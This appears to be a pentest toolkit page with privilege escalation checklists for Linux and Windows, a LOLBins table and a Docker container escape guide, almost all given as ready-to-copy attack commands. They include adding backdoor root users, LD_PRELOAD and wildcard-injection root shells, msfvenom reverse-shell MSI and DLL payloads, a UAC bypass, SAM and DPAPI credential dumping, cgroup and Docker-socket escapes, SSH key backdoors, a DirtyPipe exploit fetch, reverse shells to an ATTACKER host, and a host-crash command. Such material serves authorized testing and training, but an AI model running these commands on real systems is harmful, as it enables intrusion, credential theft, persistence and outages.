Pentest toolkit with interactive widgets. Scapy packet crafter, shell upgrade path, privesc checklist (Linux/Windows), LOLBins builder, Docker escape decision tree, and cloud privilege escalation pivot (AWS/GCP/Azure).
Visual layer-by-layer builder (Ether/IP/TCP/UDP/ICMP/ARP/DNS/Raw), presets for SYN scan/ping/ARP/DNS, full Scapy output with pkt.show() equivalent.
Build layer-by-layer, get Scapy code + packet display
Add Layer:
Presets:
Send Mode:
Current Stack (click header to expand/collapse):
No layers added. Use buttons above or load a preset.
From raw netcat to full interactive TTY, step by step. Python pty, script, stty raw, full chain.
Tip: Wrap your listener with rlwrap for instant readline support (arrow keys, history) on dumb shells:
rlwrap nc -lvnp 4444
| Shell | TTY? | Interactive? | Notes |
|---|---|---|---|
| /bin/sh | No | Partial | No tab complete, no job control, no signal handling |
| rlwrap + nc | No | Partial | Adds readline (arrows, history) to any dumb shell |
| bash (no TTY) | No | Partial | Better builtins but still raw, no job control |
| script /dev/null | Partial | Yes | Allocates PTY; no Python needed. Combine with stty raw for full TTY |
| python pty | Partial | Yes | Tab complete works, needs stty raw for full TTY |
| expect spawn | Partial | Yes | Alternative PTY allocator if python/script unavailable |
| stty raw -echo | Yes | Yes | Full TTY: Ctrl+C, tab, arrows, job control all work |
| socat | Yes | Yes | Best one-liner option, full PTY in a single command |
| ssh -o ProxyCommand | Yes | Yes | Use existing shell as transport to get SSH PTY |
| ConPTY (Windows) | Yes | Yes | Full interactive shell on Windows via pseudo-console API |
| PowerShell (raw) | No | Partial | Better than cmd.exe but no PTY; upgrade to ConPTY for full interactive |
Interactive Linux/Windows checklist with copyable commands, Critical/High/Medium badges, and progress bar. SUID, sudo, cron, capabilities, token impersonation, DLL hijacking.
Gather OS version, kernel version, and architecture. This info drives exploit selection, identifies distro-specific vectors, and reveals if the system is a container.
uname -a cat /etc/os-release hostnamectl 2>/dev/null # Container detection: cat /proc/1/cgroup 2>/dev/null | grep -iE "(docker|lxc|kubepods)" ls -la /.dockerenv 2>/dev/null
SUID binaries run as file owner (often root). Check each result against GTFOBins for exploitation paths. SGID gives group-level access.
# SUID binaries: find / -perm -4000 -type f 2>/dev/null # SGID binaries: find / -perm -2000 -type f 2>/dev/null
Look for NOPASSWD, ALL=(ALL), or specific binaries (vim, python, find, cp, env). Cross-reference with GTFOBins sudo section. Check sudo version for CVE-2021-3156 (Baron Samedit).
sudo -l sudo --version
If /etc/passwd is writable, append a new root-equivalent user. If /etc/shadow is readable, crack hashes offline. Use openssl passwd -1 password to generate the hash.
ls -la /etc/passwd /etc/shadow # If /etc/passwd writable (generate hash first): HASH=$(openssl passwd -1 pass123) echo "pwned:$HASH:0:0:root:/root:/bin/bash" >> /etc/passwd # If /etc/shadow readable, copy and crack offline: unshadow passwd.txt shadow.txt > combined.txt john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt
World-writable directories without sticky bit and writable files owned by root can be abused for symlink attacks or direct modification.
# World-writable directories (no sticky bit): find / -type d -perm -0002 ! -perm -1000 2>/dev/null # World-writable files: find / -type f -perm -0002 2>/dev/null # Files owned by root writable by current user: find / -user root -writable -type f 2>/dev/null
Look for cron jobs running as root that call writable scripts. Also check per-user crontabs, /var/spool/cron, and systemd timers.
cat /etc/crontab; ls -la /etc/cron.*; ls -la /var/spool/cron/crontabs/ 2>/dev/null crontab -l 2>/dev/null systemctl list-timers --all 2>/dev/null find / -writable -name "*.sh" 2>/dev/null
If a SUID binary or sudo script calls system("cmd") without full path, and a writable dir appears before /usr/bin in PATH, drop a malicious binary there.
echo $PATH # Check each dir: find $(echo $PATH | tr ':' ' ') -maxdepth 0 -writable 2>/dev/null
cap_setuid on python/perl/ruby allows UID change to 0. cap_sys_admin is nearly equivalent to root. cap_dac_read_search allows reading any file. Check GTFOBins caps section.
getcap -r / 2>/dev/null
# Exploit cap_setuid on python3:
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
If sudo -l shows env_keep+=LD_PRELOAD or LD_LIBRARY_PATH, compile a shared object that spawns a shell and inject it via sudo.
# Check if env vars are preserved:
sudo -l | grep -i "env_keep"
# Compile malicious .so:
# void _init() { setuid(0); system("/bin/bash"); }
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so
If a cron job or script runs tar, chown, or rsync with a wildcard (*) in a user-writable directory, filenames are interpreted as command-line flags.
# tar wildcard injection (cron runs: tar czf backup.tar.gz *): echo "" > "--checkpoint=1" echo "" > "--checkpoint-action=exec=sh shell.sh" echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > shell.sh # rsync wildcard: create file named "-e sh shell.sh"
Members of the docker group can mount the host root filesystem into a container and chroot into it as root. Also check lxd/lxc group membership.
id | grep -E "(docker|lxd|lxc)" docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Services running as root may have local exploits, writable config files, or exposed sockets. Target databases, web servers, custom daemons.
ps aux | grep -i root ss -tlnp # Check for writable configs of root processes: find /etc -writable 2>/dev/null
A writable .service file that runs as root allows replacing the ExecStart directive with an arbitrary command, triggered on next service restart.
find /etc/systemd /lib/systemd /usr/lib/systemd -writable 2>/dev/null # Also check ExecStart scripts: grep -r "ExecStart=" /etc/systemd/system/ 2>/dev/null
If no_root_squash is set, a remote root user mounting the NFS share retains root UID. Drop a SUID shell into the share from attacker machine.
cat /etc/exports showmount -e target # From attacker (root): mount -t nfs target:/share /tmp/nfs cp /bin/bash /tmp/nfs/shell; chmod +s /tmp/nfs/shell # On victim: /share/shell -p
Check for mounted shares with credentials, nosuid/noexec bypass opportunities, unmounted partitions in fstab with sensitive data, and tmpfs writable mounts.
mount | column -t cat /etc/fstab df -h # Credentials in mount options: grep -i "cred\|pass\|user" /etc/fstab 2>/dev/null # Unmounted partitions: lsblk -f
Private SSH keys allow direct login as the key owner. Writable authorized_keys files allow injecting your own public key for persistent access.
find / -name authorized_keys -o -name id_rsa -o -name id_ecdsa -o -name id_ed25519 2>/dev/null # Check permissions and readability: ls -la /root/.ssh/ 2>/dev/null ls -la /home/*/.ssh/ 2>/dev/null
Cleartext passwords in config files, bash history, environment variables, or database connection strings. Common in web app configs, .env files, and backup scripts.
cat ~/.bash_history; cat /root/.bash_history 2>/dev/null env | grep -iE "(pass|key|token|secret)" grep -rli "password" /etc/ /opt/ /var/www/ 2>/dev/null find / -name "*.conf" -o -name "*.config" -o -name ".env" 2>/dev/null | head -20
Localhost-bound services (databases, admin panels, APIs) are often unauthenticated. Multiple interfaces suggest pivoting opportunities. ARP cache reveals other hosts.
ip addr; ip route ss -tlnp # Localhost-only services: ss -tlnp | grep 127.0.0.1 # ARP cache (nearby hosts): ip neigh; arp -a 2>/dev/null # DNS config: cat /etc/resolv.conf
disk group: raw read/write to /dev/sda (debugfs). adm: read all logs (/var/log). video: read framebuffer. staff: write to /usr/local. Also check sudo, wheel, shadow.
id; groups # Disk group = raw disk access: debugfs /dev/sda1 # adm group = read logs: ls -la /var/log/auth.log /var/log/syslog 2>/dev/null grep -ri "password" /var/log/ 2>/dev/null | head -20
DirtyPipe (CVE-2022-0847) affects kernel 5.8-5.16.11. DirtyCow (CVE-2016-5195) affects kernels up to 4.8.3. Polkit pkexec (CVE-2021-4034) affects polkit < 0.120. GameOver(lay) (CVE-2023-2640/CVE-2023-32629) affects Ubuntu OverlayFS.
uname -r; cat /etc/os-release searchsploit linux kernel $(uname -r | cut -d'-' -f1) # Key CVEs: # DirtyPipe: kernel 5.8 - 5.16.11 # DirtyCow: kernel < 4.8.3 # Polkit pkexec: polkit < 0.120 # GameOver(lay): Ubuntu w/ OverlayFS
Check for SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeDebugPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege. IIS/SQL service accounts typically have SeImpersonate.
whoami /priv
# If SeImpersonatePrivilege:
# Win 2019+: PrintSpoofer64.exe -i -c cmd
# Win 2016-: JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}
# Universal: GodPotato -cmd "cmd /c whoami"
# Alt: SweetPotato.exe -a 2 -p cmd.exe
If both HKCU and HKLM keys are set to 1, any user can install MSI packages with SYSTEM privileges. Generate a malicious MSI with msfvenom.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # Exploit: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o evil.msi msiexec /quiet /qn /i evil.msi
Check registry autorun keys and startup folders for binaries in user-writable paths. Replace binary or inject DLL if path is writable.
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Autologon credentials, VNC passwords, and other cleartext secrets are sometimes stored in registry keys. WinLogon autologon is especially common in CTFs.
reg query HKLM /f password /t REG_SZ /s reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul reg query HKCU /f password /t REG_SZ /s # VNC: reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
Windows resolves unquoted paths by trying each space as a split point. If C:\Program Files\App\svc.exe is unquoted and C:\Program.exe is writable, it executes first.
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
# PowerShell:
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -match ' '} | Select Name,PathName,StartMode
If a low-priv user has SERVICE_CHANGE_CONFIG on a SYSTEM service, replace the binary path. Also check if the service binary itself is in a writable directory. Use accesschk or PowerUp to enumerate.
accesschk.exe /accepteula -uwcqv "Everyone" * 2>nul accesschk.exe /accepteula -uwcqv "Authenticated Users" * 2>nul # Reconfigure vulnerable service: sc config vuln_svc binpath= "C:\tmp\shell.exe" sc stop vuln_svc && sc start vuln_svc # PowerUp: Invoke-AllChecks | Out-File privesc.txt
Windows DLL search order: app dir, system32, system, Windows dir, CWD, PATH dirs. If a privileged app loads a missing DLL from a user-writable dir, drop a malicious DLL there.
# Use Procmon: filter on NAME NOT FOUND + .dll # Or static: use DLLSpy / WinPwnage lists # Generate DLL: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f dll -o hijack.dll
Scheduled tasks running as SYSTEM with writable binaries or scripts. Check the task action path and verify write permissions on target binary/directory.
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|TaskName"
# PowerShell:
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq 'SYSTEM'} | Select TaskName,TaskPath
# Check write perms on task binary:
icacls "C:\path\to\task\binary.exe"
If the user is in the Administrators group but running in a medium-integrity context, UAC can be bypassed via fodhelper, eventvwr, or UACME project techniques. Only works if UAC is not set to "Always Notify".
# Check UAC level and group membership: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin whoami /groups | findstr /i "S-1-5-32-544" # fodhelper bypass: reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f fodhelper.exe
Backup copies of SAM and SYSTEM in C:\Windows\Repair or shadow copies are readable without SYSTEM rights. Dump hashes offline with impacket-secretsdump.
reg save HKLM\SAM sam.bak reg save HKLM\SYSTEM sys.bak # Offline: impacket-secretsdump -sam sam.bak -system sys.bak LOCAL # Shadow copy path: \\\\.\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM
Stored credentials in Windows Credential Manager can be used with runas /savecred to run commands as another user without knowing the password.
cmdkey /list rundll32 keymgr.dll,KRShowKeyMgr # If stored admin creds: runas /savecred /user:DOMAIN\admin "cmd.exe /c whoami > C:\tmp\out.txt"
DPAPI protects browser saved passwords, RDP credentials, WiFi keys, and more. Master keys in %APPDATA%\Microsoft\Protect. Decryptable offline with domain backup key or user password.
# Live (as user or SYSTEM): mimikatz # sekurlsa::dpapi mimikatz # dpapi::masterkey /in:key /rpc mimikatz # dpapi::cred /in:cred_file # SharpDPAPI offline with domain backup key: SharpDPAPI.exe credentials /mkfile:masterkeys.txt
Unpatched Windows kernels are vulnerable to known exploits. Use Watson or windows-exploit-suggester to map installed patches against known CVEs.
systeminfo # Feed output to: # python windows-exploit-suggester.py --database db.xls --systeminfo sysinfo.txt # Or run Watson.exe on target # Key CVEs: MS16-032, MS17-010 (EternalBlue), CVE-2020-0787 (BitsArbitrary), # CVE-2021-36934 (HiveNightmare/SeriousSAM), CVE-2021-1732, PrintNightmare
Internal-only services (databases, admin panels, RPC) may be exploitable from the local machine. Dual-homed hosts enable pivoting to other networks.
ipconfig /all netstat -ano | findstr LISTENING route print arp -a # WiFi passwords: netsh wlan show profiles netsh wlan show profile name="SSID" key=clear
If AppLocker or Constrained Language Mode (CLM) restricts execution, check for writable allowed paths, alternate LOLBins (MSBuild, InstallUtil), or PSByPassCLM to escape restrictions.
# Check AppLocker policy: Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections # Check CLM: $ExecutionContext.SessionState.LanguageMode # Writable allowed dirs: icacls "C:\Windows\Tasks" icacls "C:\Windows\Temp" # LOLBins bypass: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml
Even with admin access, SAM/SYSTEM files are locked. Volume Shadow Copy (VSS) or reg save can extract them. HiveNightmare (CVE-2021-36934) allows non-admin access on vulnerable builds.
# With admin (reg save): reg save HKLM\SAM C:\Temp\sam.save reg save HKLM\SYSTEM C:\Temp\system.save reg save HKLM\SECURITY C:\Temp\security.save # With admin (VSS): wmic shadowcopy call create Volume='C:\' copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM . # HiveNightmare (non-admin, CVE-2021-36934): icacls C:\Windows\System32\config\SAM # If readable: copy from shadow copy
Outdated software may have local privilege escalation CVEs. Check installed programs, running services versions, and writable install directories (DLL sideloading).
# 32-bit and 64-bit installed software: Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select DisplayName,DisplayVersion Get-ItemProperty "HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select DisplayName,DisplayVersion # Writable Program Files dirs: icacls "C:\Program Files" /findsid Everyone /T 2>nul icacls "C:\Program Files (x86)" /findsid Everyone /T 2>nul
Windows / Linux / macOS Living Off the Land binaries with detection risk per binary.
| Binary | Location | Common Abuse | Detection |
|---|---|---|---|
| certutil.exe | System32 | Download, encode/decode, hash | HIGH |
| mshta.exe | System32 | Execute HTA, inline VBScript/JS | HIGH |
| rundll32.exe | System32 | Execute DLL, JavaScript | HIGH |
| regsvr32.exe | System32 | Execute SCT (Squiblydoo) | HIGH |
| wmic.exe | System32 | Process create, XSL execution | HIGH |
| powershell.exe | System32 | Download, execute, persist | HIGH |
| bitsadmin.exe | System32 | Download, execute | HIGH |
| msiexec.exe | System32 | Install/execute remote MSI | MEDIUM |
| cmstp.exe | System32 | UAC bypass via INF | MEDIUM |
| msbuild.exe | .NET Framework | Inline C# task execution | MEDIUM |
| installutil.exe | .NET Framework | AppLocker bypass | MEDIUM |
| forfiles.exe | System32 | Proxy command execution | LOW |
| curl.exe | System32 (Win10+) | Download | LOW |
Detection (privileged, socket, capabilities, kernel CVEs) then exploitation by technique: cgroup notify-on-release, docker socket, DirtyPipe, runc CVE-2019-5736, host path mount.
CapEff with all bits set means all capabilities granted (full privileged). Common values: 0000003fffffffff (kernel < 5.8) or 000001ffffffffff (kernel 5.8+). Enables cgroup notify-on-release escape, direct device access (/dev/sda), and mount operations.
grep CapEff /proc/self/status
# Privileged (all bits set): 0000003fffffffff or 000001ffffffffff
# Decode readable: capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
If /var/run/docker.sock exists inside the container and is writable, the container can communicate with the Docker daemon on the host and launch privileged containers.
ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null # Also check for containerd socket: ls -la /run/containerd/containerd.sock 2>/dev/null # Readable/writable = full escape via API
If PID 1 is the host's init process (systemd, /sbin/init), the container shares the host PID namespace. Can read /proc/[pid]/mem of host processes and inject into them.
ls -la /proc/1/exe # Host init = sharing host PID namespace cat /proc/1/cmdline | tr '\0' ' '
Host network namespace allows binding to host ports, sniffing host network traffic, and reaching internal services on 127.0.0.1 that are not exposed via Docker port mappings.
ip addr show # If you see host IPs (not just 172.17.0.x / 10.x docker range) cat /proc/net/fib_trie | grep -A1 "LOCAL"
Look for non-overlay, non-tmpfs mounts pointing to host paths like /etc, /root, /home, /var/lib, or /. Writing to these modifies the host filesystem directly.
cat /proc/mounts | grep -v "^overlay\|^tmpfs\|^proc\|^cgroup\|^devpts\|^mqueue\|^shm\|^/dev" # Interesting: ext4, xfs, or host-looking paths
cap_sys_admin enables cgroup escape and many kernel interfaces. cap_sys_ptrace enables process injection on host PIDs. cap_sys_module allows loading kernel modules. cap_dac_read_search bypasses read permissions (Shocker exploit). cap_dac_override bypasses file write permission checks. cap_net_admin allows packet injection/sniffing.
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
# Or:
cat /proc/self/status | grep -E "Cap(Prm|Eff|Bnd)"
DirtyPipe (CVE-2022-0847): kernels 5.8 to < 5.16.11 / < 5.15.25 / < 5.10.102. runc CVE-2019-5736: runc < 1.0-rc6. CVE-2024-21626 (Leaky Vessels): runc < 1.1.12. CVE-2022-0185: heap overflow with cap_sys_admin + user ns. GameOverlay (CVE-2023-2640 / CVE-2023-32629): Ubuntu kernels with OverlayFS. Containers share the host kernel.
uname -r # DirtyPipe: 5.8 <= kernel < 5.16.11, < 5.15.25, < 5.10.102 # GameOverlay: Ubuntu kernels with OverlayFS (CVE-2023-2640/CVE-2023-32629) cat /etc/os-release 2>/dev/null | grep -i ubuntu runc --version 2>/dev/null # CVE-2019-5736: runc < 1.0-rc6 # CVE-2024-21626 (Leaky Vessels): runc < 1.1.12
Access to /dev/sda (raw disk), /proc/sysrq-trigger (kernel panic/reboot), /proc/kcore (kernel memory), or /sys/kernel can enable direct host compromise or DoS.
# Check for raw disk device access: ls -la /dev/sda /dev/vda /dev/xvda 2>/dev/null # Check for dangerous /proc and /sys entries: ls -la /proc/sysrq-trigger /proc/kcore /sys/kernel/vmcoreinfo 2>/dev/null # Check if /proc/sysrq-trigger is writable: test -w /proc/sysrq-trigger && echo "WRITABLE - can crash host"
Environment variables may leak API keys, database credentials, or cloud tokens. Kubernetes pods automatically mount a service account token that can query the K8s API.
# Dump env vars for secrets:
env | grep -iE "key|secret|token|pass|auth|api|cred|aws|azure|gcp"
# Kubernetes service account token:
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
# K8s API from inside pod:
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk $APISERVER/api/v1/namespaces --header "Authorization: Bearer $TOKEN"
Requires cap_sys_admin (present in privileged containers). Mount host cgroup, write a command to notify-on-release, trigger execution when a cgroup becomes empty. Command runs on the host as root.
# Step 1: mount host cgroup mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x
# Step 2: enable notify-on-release and set payload path echo 1 > /tmp/cgrp/x/notify_on_release host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/mounts | head -1) echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Step 3: write payload (runs on HOST as root) cat > /cmd << 'PAYLOAD' #!/bin/sh ps aux > /tmp/output.txt # Or: cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash PAYLOAD chmod +x /cmd
# Step 4: trigger (spawn process in cgroup, let it die) sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Payload executed on host; read results: cat /tmp/output.txt
The Docker socket grants full control over the Docker daemon. Spawn a new privileged container with the host root mounted, then chroot to gain a full root shell on the host.
# Classic escape: mount / and chroot docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Via curl to the socket (no docker binary needed):
# 1. Create container:
CID=$(curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/create" \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /mnt/etc/shadow"],"HostConfig":{"Binds":["/:/mnt:rw"]}}' | grep -o '"Id":"[^"]*"' | cut -d'"' -f4)
# 2. Start container:
curl -s --unix-socket /var/run/docker.sock -X POST "http://localhost/containers/$CID/start"
# 3. Read output:
curl -s --unix-socket /var/run/docker.sock "http://localhost/containers/$CID/logs?stdout=true"
# Read host file directly: docker run -v /etc:/host-etc --rm alpine cat /host-etc/shadow # Add backdoor SSH key: docker run -v /root:/root-host --rm alpine sh -c \ "mkdir -p /root-host/.ssh && echo 'PUBKEY' >> /root-host/.ssh/authorized_keys"
Kernel pipe buffer flag vulnerability allowing unprivileged overwrite of read-only page cache. Containers share the host kernel - exploit runs inside container but overwrites host files. Classic technique: overwrite SUID binary on host via /proc/1/root symlink.
# Affected: Linux 5.8 <= version < 5.16.11, < 5.15.25, or < 5.10.102 uname -r # Fetch PoC (multiple exist): # https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-2.c
# Exploit-2: overwrite SUID binary on HOST via /proc/1/root gcc exploit-2.c -o dirtypipe # Overwrites /proc/1/root/usr/bin/sudo with a SUID shell dropper: ./dirtypipe /proc/1/root/usr/bin/sudo # Then: sudo triggers payload -> root shell on host
# Alternative: overwrite /etc/passwd via page cache # Restores original after shell - leaves no persistent modification ./exploit-1.c # modifies passwd temporarily, spawns root shell, restores
Affects runc < 1.0-rc6. During docker exec, the host runc binary is opened by the container via /proc/self/exe. A malicious container with root can overwrite the host runc binary with a payload, which executes the next time any container operation uses runc on the host.
# Check runc version on host (from inside container): runc --version 2>/dev/null || /usr/bin/runc --version 2>/dev/null # Vulnerable: < 1.0-rc6
# PoC: https://github.com/Frichetten/CVE-2019-5736-PoC # The exploit: # 1. Container overwrites /proc/self/exe -> points to attacker script # 2. Script contains: #!/proc/self/exe (makes runc re-open itself) # 3. On next 'docker exec', runc on HOST opens /proc/[container-pid]/exe # 4. Attacker replaces file content with shell payload between opens # 5. Host runc binary gets overwritten -> executes on next container op
# Build and run the PoC (set payload in main.go before compile): # payload = "#!/bin/bash\n bash -i >& /dev/tcp/ATTACKER/4444 0>&1" go build -o CVE-2019-5736 main.go ./CVE-2019-5736 & # Wait for 'docker exec' on the host targeting this container # Host executes the overwritten runc = reverse shell as root
Direct read/write access to host filesystem paths mounted inside the container. Severity depends on which path is mounted. /etc, /root, or /home mounts enable credential theft and persistence. / mount = full escape.
# Identify mounted paths: cat /proc/mounts | grep -v "^overlay\|^tmpfs\|^proc\|^cgroup\|^devpts\|^mqueue\|^shm\|^/dev" # Find where on the container FS these appear: findmnt -t ext4,xfs,btrfs 2>/dev/null
# If /etc is mounted (read host credentials):
cat /mnt/etc/shadow
cat /mnt/etc/passwd
# Add backdoor user (if writable):
HASH=$(openssl passwd -1 pass123)
echo "backdoor:${HASH}:0:0:root:/root:/bin/bash" >> /mnt/etc/passwd
# If /root is mounted (SSH persistence): mkdir -p /mnt/.ssh echo 'ATTACKER_PUBKEY' >> /mnt/.ssh/authorized_keys chmod 600 /mnt/.ssh/authorized_keys # If / is mounted (full escape via chroot): chroot /mnt /bin/bash
# If /var/lib/docker is mounted (access other containers): ls /mnt/overlay2/ # Read other container filesystems, find secrets in layers
If the container shares the host PID namespace (--pid=host), nsenter can enter the mount/UTS/IPC/net/PID namespaces of PID 1 (host init). Requires cap_sys_admin or cap_sys_ptrace. Also enables reading /proc/[pid]/environ for all host processes.
# Full host root shell via nsenter (requires host PID ns + cap_sys_admin): nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# If nsenter not available, read host process info: cat /proc/1/environ | tr '\0' '\n' # Dump env vars of all host processes: for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|token|key|secret" done
# Access host filesystem via /proc/1/root: ls /proc/1/root/etc/shadow cat /proc/1/root/etc/shadow
cap_sys_admin without full privileged flag still enables the cgroup notify-on-release escape (same as privileged tab), mounting host filesystems, and creating user namespaces. The cgroup escape works the same way. Additionally, you can mount the host block device directly.
# Mount host disk directly (requires cap_sys_admin + device access): mkdir /tmp/hostdisk mount /dev/sda1 /tmp/hostdisk ls /tmp/hostdisk/etc/shadow
# cgroup escape also works with just cap_sys_admin (same as Privileged+cgroup tab) # User namespace abuse (CVE-2022-0185 style): unshare -Urm # If this succeeds, you have root in a new user namespace
# Load kernel module (requires cap_sys_module, often paired with cap_sys_admin):
insmod /tmp/evil.ko
# Abuse writable /sys (cap_sys_admin allows sysfs writes):
echo 1 > /proc/sys/kernel/core_pattern # hijack core dumps
# Or modify AppArmor profile (if writable):
echo "profile docker-default flags=(attach_disconnected,mediate_deleted) {}" > /proc/1/root/etc/apparmor.d/docker
With cap_sys_ptrace and host PID namespace, you can attach to any host process with ptrace and inject shellcode. Works by finding a root-owned process and injecting into it via /proc/[pid]/mem writes or ptrace syscalls.
# Find a target host process (requires host PID namespace): ps aux | grep -v "$$" | head -20 # Pick a root-owned long-running process (e.g., sshd, cron)
# Inject shellcode via /proc/[pid]/mem (Python example):
python3 -c "
import ctypes, struct
libc = ctypes.CDLL('libc.so.6')
PTRACE_ATTACH = 16; PTRACE_DETACH = 17; PTRACE_POKETEXT = 4
pid = TARGET_PID # replace with target
libc.ptrace(PTRACE_ATTACH, pid, 0, 0)
import os; os.waitpid(pid, 0)
# Read /proc/pid/maps to find executable region, write shellcode
# libc.ptrace(PTRACE_POKETEXT, pid, addr, shellcode_word)
libc.ptrace(PTRACE_DETACH, pid, 0, 0)
"
# Simpler: use gdb/strace if available
gdb -p TARGET_PID -batch -ex 'call system("bash -i >& /dev/tcp/ATTACKER/4444 0>&1")'
# Or read process memory for secrets:
cat /proc/TARGET_PID/maps
dd if=/proc/TARGET_PID/mem bs=1 skip=$((0xADDRESS)) count=4096 2>/dev/null | strings
Affects runc < 1.1.12. During container startup, runc leaks a file descriptor to the host filesystem. By setting the working directory to /proc/self/fd/N (where N is the leaked fd), the container process starts with its cwd pointing to a host directory, enabling host filesystem access.
# Check runc version: runc --version 2>/dev/null # Vulnerable: runc < 1.1.12 (patched Jan 2024)
# Exploit via malicious Dockerfile (attacker builds image): # The WORKDIR is set to /proc/self/fd/N where N is the leaked fd # Dockerfile: # FROM ubuntu # WORKDIR /proc/self/fd/7 # RUN cat /etc/shadow # reads HOST /etc/shadow during build # Or at runtime with --workdir: docker run --rm --workdir /proc/self/fd/7 alpine cat ../../../etc/shadow
# From inside a running container, enumerate leaked fds: ls -la /proc/self/fd/ 2>/dev/null # Look for fds pointing outside the container overlay readlink /proc/self/fd/* 2>/dev/null | grep -v "^/dev\|^pipe:\|^socket:\|^anon_inode"
Certain host paths exposed to the container enable direct compromise: raw block devices (/dev/sda), kernel interfaces (/proc/sysrq-trigger), and the Docker socket. The cap_dac_read_search capability bypasses all file read permission checks.
# Raw disk access (read host filesystem without mounting): debugfs /dev/sda1 -R "cat /etc/shadow" 2>/dev/null # Or mount it: mkdir /tmp/hostfs && mount /dev/sda1 /tmp/hostfs cat /tmp/hostfs/etc/shadow
# /proc/sysrq-trigger - crash/reboot the host (DoS): echo b > /proc/sysrq-trigger # immediate reboot echo c > /proc/sysrq-trigger # trigger kernel crash dump # /proc/kcore - kernel physical memory (read secrets): strings /proc/kcore | grep -i password
# cap_dac_read_search - read any file bypassing permissions: # Use open_by_handle_at() syscall to traverse mount boundaries # PoC: https://github.com/gabber235/open_by_handle_at-exploit # Compile and run: gcc shocker.c -o shocker ./shocker /etc/shadow # reads host file via handle bruteforce # cap_dac_override - bypass file write permissions on mounted paths: # Allows writing to any file on host-mounted volumes regardless of perms
From an endpoint metadata service (AWS/GCP/Azure): step-by-step commands to retrieve the attached role, enumerate permissions, identify cloud privesc vectors, and escalate. 50 commands + 25 privesc vectors audited.